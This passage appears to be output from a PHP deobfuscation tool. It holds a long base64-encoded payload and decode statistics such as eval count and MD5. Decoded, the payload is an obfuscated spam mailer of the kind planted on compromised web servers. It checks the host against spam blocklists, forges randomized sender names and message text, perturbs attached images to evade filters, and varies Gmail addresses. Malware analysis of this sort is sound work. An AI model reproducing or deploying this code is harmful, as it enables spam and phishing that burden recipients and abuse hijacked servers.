l7aWYoQ2hlY2tBdHRhY2goJGVtYWlsLCRyZXBseXRvLCRmcm9tX25hbWUpKXtwcmludCAnKm1haWw6b2sqJy4kY3JsZjt9ZWxzZXtwcmludCAnKm1haWw6YmFkKicuJGNybGY7fX1lbHNle2lmKENoZWNrTWFpbCgkZW1haWwsJHJlcGx5dG8sJGZyb21fbmFtZSkpe3ByaW50ICcqbWFpbDpvayonLiRjcmxmO31lbHNle3ByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjt9fX1lbHNle3ByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjt9fWlmKGlzc2V0KCRfUE9TVFsncmInXSk9PT10cnVlKXskcmJsPXJibCgpOy8vL3hrbXZnbXINCmlmKCRyYmw9PScnKXtwcmludCAnKnJibDpvayonO31lbHNley8vL3N5dQ0KcHJpbnQgJypyYmw6Jy4kcmJsLicqJzsvL3V3dHdsaQ0KfX19ZnVuY3Rpb24gcmFuZFN0cmluZygkbWluLCRtYXgpeyMjI3BydWRjCiRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzskc2l6ZT1yYW5kKCRtaW4sJG1heCk7ICRyZXN1bHQ9Jyc7Ly9ib2hmeA0KZm9yKCRjPTA7JGM8JHNpemU7JGMrKyl7JHJlc3VsdC49JHN0cntyYW5kKDAsc3RybGVuKCRzdHIpLTEpfTt9cmV0dXJuICRyZXN1bHQ7fSNycm4KIyMjbmptc2R0em4KZnVuY3Rpb24gcmJsKCl7JGRuc2JsX2NoZWNrPWFycmF5KCdiLmJhcnJhY3VkYWNlbnRyYWwub3JnJywneGJsLnNwYW1oYXVzLm9yZycsJ3NibC5zcGFtaGF1cy5vcmcnLCd6ZW4uc3BhbWhhdXMub3JnJywnYmwuc3BhbWNvcC5uZXQnKTskaXA9Z2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyAkcmVzdWx0PScnOyMjI29vcHBxZgovLy9nZXBtbGINCmlmKCRpcCl7IyMjd3F2eG1yYmMNCiRyaXA9aW1wbG9kZSgnLicsYXJyYXlfcmV2ZXJzZShleHBsb2RlKCcuJywkaXApKSk7Ly9uaGENCmZvcmVhY2goJGRuc2JsX2NoZWNrIGFzICR2YWwpe2lmKGNoZWNrZG5zcnIoJHJpcC4nLicuJHZhbC4nLicsJ0EnKSkkcmVzdWx0Lj0kdmFsLicsICc7Ly9tdWhuDQp9IyMjcXBrd3VkcQppZihzdHJsZW4oJHJlc3VsdCk+Mil7IHJldHVybiBzdWJzdHIoJHJlc3VsdCwwLC0yKTsgfS8vL25lcg0KZWxzZXsgcmV0dXJuICcnOyB9fWVsc2V7Ly8vb3VtZ3l5cnR0DQpyZXR1cm4gJypyYmw6dW5rbm93bionO31yZXR1cm4gJyc7Ly9rZG5sdmkNCn1mdW5jdGlvbiBDaGVja01haWwoJHRvLCRyZXBseSwkZnJvbV9uYW1lKXsvL3BqbXkNCiRoZWFkZXI9J0Zyb206ICcuJz0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUocmFuZFRleHQoKSkuJz89Jy4nIDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPlxyXG4iOyRoZWFkZXIuPSdNSU1FLVZlcnNpb246IDEuMCcuIlxyXG4iOyRoZWFkZXIuPSdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7I2pnaHVhcA0KJGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7Ly8vd3p5bnd4dgokaGVhZGVyLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKTsvLy9jaGF3Z2oKJG1lc3NhZ2U9dGV4dCgpOyRzdWJqZWN0PSRfU0VSVkVSWydIVFRQX0hPU1QnXTsjIyN1bXFqY2pzCmlmKG1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCRoZWFkZXIpKXtyZXR1cm4gdHJ1ZTsjIyNhZmZ2DQp9cmV0dXJuIGZhbHNlO30jIyNxbXp3amRrdgpmdW5jdGlvbiBDaGVja0F0dGFjaCgkdG8sJHJlcGx5LCRmcm9tX25hbWUpeyRtZXNzYWdlPXRleHQoKTsjbmt3cmkNCiRzdWJqZWN0PSRfU0VSVkVSWydIVFRQX0hPU1QnXTsjIyNiZ2x2CiRmaWxlbmFtZT1maWxlbmFtZSgnMS50eHQnKTsgJGJvdW5kYXJ5PW1kNSh1bmlxaWQoKSk7JGhlYWRlcnM9J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7JGhlYWRlcnMuPSdGcm9tOiAnLic9P3V0Zi04P0I/Jy5iYXNlNjRfZW5jb2RlKHJhbmRUZXh0KCkpLic/PScuJyA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJz4nLiJcclxuIjsjaW9menFheWxiZgokaGVhZGVycy49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7JGhlYWRlcnMuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpLiJcclxuIjskaGVhZGVycy49J0NvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT0iJy4kYm91bmRhcnkuIlwiXHJcblxyXG4iOyRib2R5PSctLScuJGJvdW5kYXJ5LiJcclxuIjsvLy90cXRsegokYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PSJ1dGYtOCInLiJcclxuIjskYm9keS49J0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCcuIlxyXG5cclxuIjsjZWdjcGJwcm56bw0KJGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTsvLy9kd3ZhZmtrbA0KJGJvZHkuPSAnLS0nLiRib3VuZGFyeS4iXHJcbiI7I3B3eXVyeGVkbHMNCiRib2R5Lj0nQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOy8vaXZ4cXBjdnpwZwokYm9keS49J0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOyRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcbiI7JGJvZHkuPSdYLUF0dGFjaG1lbnQtSWQ6ICcucmFuZCgxMDAwLDk5OTk5KS4iXHJcblxyXG4iOyRib2R5Lj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSh0ZXh0KCkpKTsjIyNjeHNlDQppZihtYWlsKCR0bywkc3ViamVjdCwkYm9keSwkaGVhZGVycykpe3JldHVybiB0cnVlOy8vL3Fndm1jenh2Cn0jIyNtaWl3Z2hmaWMKcmV0dXJuIGZhbHNlO30vL2pzc3VzbQpmdW5jdGlvbiBzdHJfcmVwbGFjZV9vbmNlKCRzZWFyY2gsJHJlcGxhY2UsJHRleHQpey8vL3lrbmNhenhrdw0KJHBvcz1zdHJwb3MoJHRleHQsICRzZWFyY2gpO3JldHVybiAkcG9zIT09ZmFsc2UgPyBzdWJzdHJfcmVwbGFjZSgkdGV4dCwkcmVwbGFjZSwkcG9zLHN0cmxlbigkc2VhcmNoKSkgOiAkdGV4dDsjc2xrbHJrdA0KfS8vaGVtYW10ZQ0KZnVuY3Rpb24gZmlsZW5hbWUoJG5hbWUpeyRmb3JtYXQ9ZW5kKGV4cGxvZGUoJy4nLCRuYW1lKSk7IyMjdGxqc29tbXprDQokYXJyYXlbXT0nU0RDJzsgJGFycmF5W109J1AnOyAkYXJyYXlbXT0nREMnOyAkYXJyYXlbXT0nQ0FNJzsgJGFycmF5W109J0lNRy0nOy8vL2pnYXVnDQokaW1nPWFycmF5KCdwbmcnLCdqcGcnLCdnaWYnLCdqcGVnJywnYm1wJyk7Ly8vaGVvZgpmb3IoJGM9MCwkbWF4PXNpemVvZigkaW1nKTskYzwkbWF4OyRjKyspe2lmKHN0cnRvbG93ZXIoJGZvcm1hdCk9PSRpbWdbJGNdKXskcmFuZD1yYW5kKDEwLDk5OTk5OSk7cmV0dXJuICRhcnJheVtyYW5kKDAsNCldLiRyYW5kLicuJy4kZm9ybWF0O319I3NhbmUKcmV0dXJuIHJhbmRUZXh0KCkuJy4nLiRmb3JtYXQ7Ly8vcXN4aW16Cn0jIyN5emx6Yw0KZnVuY3Rpb24gZmlsZVN0cmluZygkbmFtZSl7IyMjZW5uZnBianNpDQokZm9ybWF0PWVuZChleHBsb2RlKCcuJywkbmFtZSkpO2lmKHN0cnRvbG93ZXIoJGZvcm1hdCk9PSdqcGVnJyBvciBzdHJ0b2xvd2VyKCRmb3JtYXQpPT0nanBnJyl7aWYoQ2hlY2tSYW5kSU1HKCkpeyMjI296Zm1lenp4ZGcKcmV0dXJuIFJhbmRJTUcoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsvL3JpeGVjcm1zZwp9fSMjI211eGltaWl3cXENCnJldHVybiBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pOyMjI2J6cXEKfWZ1bmN0aW9uIHJhbmRUZXh0KCl7JHN0cj0ncXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm0nOyRzaXplPXJhbmQoMyw4KTsgJHJlc3VsdD0nJzsjaXZxdGN1DQpmb3IoJGM9MDskYzwkc2l6ZTskYysrKXskcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9O31yZXR1cm4gJHJlc3VsdDsjc3JjcW8NCn1mdW5jdGlvbiB0ZXh0KCl7JHN0cj0ncXdlcnR5dWlvcGFzZGZnaGprbHp4Y3Zibm0nOyRzaXplPXJhbmQoOSwyMCk7ICRyZXN1bHQ9Jyc7Zm9yKCRjPTA7JGM8JHNpemU7JGMrKyl7JHJhbmQ9cmFuZCg2LDEwKTtmb3IoJGk9MDskaTwkcmFuZDskaSsrKXskcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9OyNvYWZyag0KfSRzaWduPWFycmF5KCcgJywnICcsJyAnLCcgJywnLCAnLCc/ICcsJy4gJywnLiAnKTskcmVzdWx0Lj0kc2lnbltyYW5kKDAsNyldO31yZXR1cm4gdHJpbSgkcmVzdWx0KTt9ZnVuY3Rpb24gQ2hlY2tSYW5kSU1HKCl7JGFycmF5PWFycmF5KCdnZXRpbWFnZXNpemUnLCdpbWFnZWNyZWF0ZXRydWVjb2xvcicsIyMjbm96cXRkcXJmZg0KJ2ltYWdlY3JlYXRlZnJvbWpwZWcnLCdpbWFnZWNvcHlyZXNhbXBsZWQnLCdpbWFnZWZpbHRlcicsJ29iX3N0YXJ0JywvLy9idXNrbmh4CidpbWFnZWpwZWcnLCdvYl9nZXRfY2xlYW4nLy91cmFodmENCik7I3Ztc2x4cHJ4bnEKIyMjbmR3eHR1aWFwaw0KZm9yKCRjPTAsJG1heD1zaXplb2YoJGFycmF5KTskYzwkbWF4OyRjKyspe2lmKCFmdW5jdGlvbl9leGlzdHMoJGFycmF5WyRjXSkpe3JldHVybiBmYWxzZTt9IyMjZGZleW9zb2UKfS8vZXJrZ3RkbHMNCnJldHVybiB0cnVlO30vL2ZiawpmdW5jdGlvbiBSYW5kSU1HKCRmaWxlKXsvL2pwYndrcXMKJHJhbmRbJ3dpZHRoJ109cmFuZCgxLDIpOyRyYW5kWydoZWlnaHQnXT1yYW5kKDEsMik7JHJhbmRbJ3F1YWxpdHknXT1yYW5kKDEsMik7JHJhbmRbJ2JyaWdodG5lc3MnXT1yYW5kKDEsMik7JHJhbmRbJ2NvbnRyYXN0J109cmFuZCgxLDIpO2xpc3QoJHdpZHRoLCRoZWlnaHQpPWdldGltYWdlc2l6ZSgkZmlsZSk7I2JxaGxhbA0KaWYoJHJhbmRbJ3dpZHRoJ109PTEpeyNyamgNCiRzaWduPXJhbmQoMSwyKTtpZigkc2lnbj09MSl7Ly8vZnV6a2F2bXkNCiRuZXdfd2lkdGg9JHdpZHRoK3JhbmQoMSwxMCk7I29kaAp9ZWxzZXskbmV3X3dpZHRoPSR3aWR0aC1yYW5kKDEsMTApO319ZWxzZXskbmV3X3dpZHRoPSR3aWR0aDt9aWYoJHJhbmRbJ2hlaWdodCddPT0xKXskc2lnbj1yYW5kKDEsMik7aWYoJHNpZ249PTEpeyRuZXdfaGVpZ2h0PSRoZWlnaHQrcmFuZCgxLDEwKTt9ZWxzZXsvLy9iampzYnBlaXVlDQokbmV3X2hlaWdodD0kaGVpZ2h0LXJhbmQoMSwxMCk7fS8vL3ZzYWJvbGxyagp9ZWxzZXskbmV3X2hlaWdodD0kaGVpZ2h0O31pZigkcmFuZFsncXVhbGl0eSddPT0xKXskcXVhbGl0eT03NTsjb3JnenFudm90bg0KfWVsc2V7JHF1YWxpdHk9cmFuZCg2NSwxMDUpOy8vL295dXVnbW1saA0KfWlmKCRyYW5kWydicmlnaHRuZXNzJ109PTEpeyRicmlnaHRuZXNzPXJhbmQoMCwzNSk7fWVsc2V7JGJyaWdodG5lc3M9MDt9aWYoJHJhbmRbJ2NvbnRyYXN0J109PTEpeyRzaWduPXJhbmQoMSwyKTtpZigkc2lnbj09MSl7ICRzaWduPScrJzsgfWVsc2V7ICRzaWduPSctJzsgfS8vL3JucHF1Zg0KJGNvbnRyYXN0PXJhbmQoMSwxNSk7fWVsc2V7I3B4cmpxa2ptcHUNCiRzaWduPScnOyRjb250cmFzdD0wOy8vL2ljZgp9Ly9rYXJrZGtlCiRpbWFnZV9wPWltYWdlY3JlYXRldHJ1ZWNvbG9yKCRuZXdfd2lkdGgsJG5ld19oZWlnaHQpOyRpbWFnZT1pbWFnZWNyZWF0ZWZyb21qcGVnKCRmaWxlKTtpbWFnZWNvcHlyZXNhbXBsZWQoJGltYWdlX3AsICRpbWFnZSwwLDAsMCwwLCRuZXdfd2lkdGgsJG5ld19oZWlnaHQsJHdpZHRoLCRoZWlnaHQpOyMjI3RvbmZnYmdldmsKaW1hZ2VmaWx0ZXIoJGltYWdlX3AsSU1HX0ZJTFRFUl9DT05UUkFTVCwkc2lnbi4kY29udHJhc3QpO2ltYWdlZmlsdGVyKCRpbWFnZV9wLElNR19GSUxURVJfQlJJR0hUTkVTUywkYnJpZ2h0bmVzcyk7b2Jfc3RhcnQoKTsvLy96Z2ZybHRqcGkKaW1hZ2VqcGVnKCRpbWFnZV9wLG51bGwsJHF1YWxpdHkpOy8vcnJsZHd1dw0KJG91dD1vYl9nZXRfY2xlYW4oKTtpbWFnZWRlc3Ryb3koJGltYWdlX3ApO3JldHVybiAkb3V0OyMjI2t0ZGZid3cKfWZ1bmN0aW9uIGNoZWNrX2dtYWlsKCRlbWFpbCl7aWYoc3Ryc3RyKCRlbWFpbCwnQGdtYWlsLicpKXtyZXR1cm4gUmFuZEdtYWlsKCRlbWFpbCk7IyMjbHV6dm55bgp9ZWxzZXtyZXR1cm4gJGVtYWlsO319Ly8vcW90dGNsdw0KZnVuY3Rpb24gUmFuZEdtYWlsKCRlbWFpbCl7JGxvZ2luPWV4cGxvZGUoJ0AnLCRlbWFpbCk7ICRyZXN1bHQ9Jyc7Ly8vemZmb3V4ZXJsCiRsb2dpbj1zdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCcuJywnJywkbG9naW5bMF0pKTskc2l6ZT1zdHJsZW4oJGxvZ2luKTsvLy9xenNxd2h5dm9pDQpmb3IoJGM9MCwkbWF4PSRzaXplOyRjPCRtYXg7JGMrKyl7I3lyaA0KJHVwPXJhbmQoMCwxKTsgJGRvdD1yYW5kKDAsMSk7Ly8vZ211dnd0cwokc3ltYm9sPSRsb2dpbnskY307Ly8vZHhybGtkbQojamhidXBhcmJuCmlmKCR1cD09MSl7JHN5bWJvbD1zdHJ0b3VwcGVyKCRzeW1ib2wpO31pZigkZG90PT0xKXskc3ltYm9sPSRzeW1ib2wuJy4nOy8vc2xubQp9JHJlc3VsdC49JHN5bWJvbDt9IyMjY3R1amN2Znd5bgppZihzdWJzdHIoJHJlc3VsdCwtMSk9PScuJyl7JHJlc3VsdD1zdWJzdHIoJHJlc3VsdCwwLC0xKTt9cmV0dXJuICRyZXN1bHQuJ0BnbWFpbC5jb20nO30jIyNqcWpncWNpdHpsDQojIyNicnp6a2NtanFl'));

Function Calls

base64_decode 1

Variables

$txnra base64_decode

Stats

MD5 840af0080e3bd742372fc74b91c5aba7
Eval Count 1
Decode Time 110 ms